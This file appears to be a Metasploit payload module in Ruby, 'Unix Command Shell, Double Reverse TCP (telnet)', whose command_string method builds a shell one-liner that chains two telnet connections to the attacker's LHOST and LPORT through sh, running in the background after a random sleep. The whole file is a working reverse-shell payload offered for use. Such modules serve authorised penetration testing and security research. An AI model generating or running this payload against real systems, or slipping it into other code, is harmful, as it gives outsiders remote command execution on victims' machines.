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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 130
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  include Msf::Payload::Single
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(merge_info(info,
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     'Name'          => 'Unix Command Shell, Double Reverse TCP (telnet)',
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     'Description'   => 'Creates an interactive shell through two inbound connections',
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     'Author'        => 'hdm',
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     'License'       => MSF_LICENSE,
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     'Platform'      => 'unix',
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     'Arch'          => ARCH_CMD,
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     'Handler'       => Msf::Handler::ReverseTcpDouble,
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     'Session'       => Msf::Sessions::CommandShell,
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     'PayloadType'   => 'cmd',
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     'RequiredCmd'   => 'telnet',
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     'Payload'       =>
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       {
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         'Offsets' => { },
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         'Payload' => ''
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       }
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    ))
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    register_advanced_options(
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      [
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        OptString.new('TelnetPath', [true, 'The path to the telnet executable', 'telnet']),
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        OptString.new('ShellPath', [true, 'The path to the shell to execute', 'sh'])
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      ]
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    )
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  end
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  #
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  # Constructs the payload
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  #
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  def generate(_opts = {})
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    vprint_good(command_string)
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    return super + command_string
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  end
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  #
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  # Returns the command string to use for execution
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  #
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  def command_string
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    cmd =
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      "#{datastore['ShellPath']} -c '(sleep #{3600+rand(1024)}|" +
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        "#{datastore['TelnetPath']} #{datastore['LHOST']} #{datastore['LPORT']}|" +
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        "while : ; do #{datastore['ShellPath']} && break; done 2>&1|" +
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        "#{datastore['TelnetPath']} #{datastore['LHOST']} #{datastore['LPORT']}" +
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        " >/dev/null 2>&1 &)'"
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    return cmd
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  end
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end
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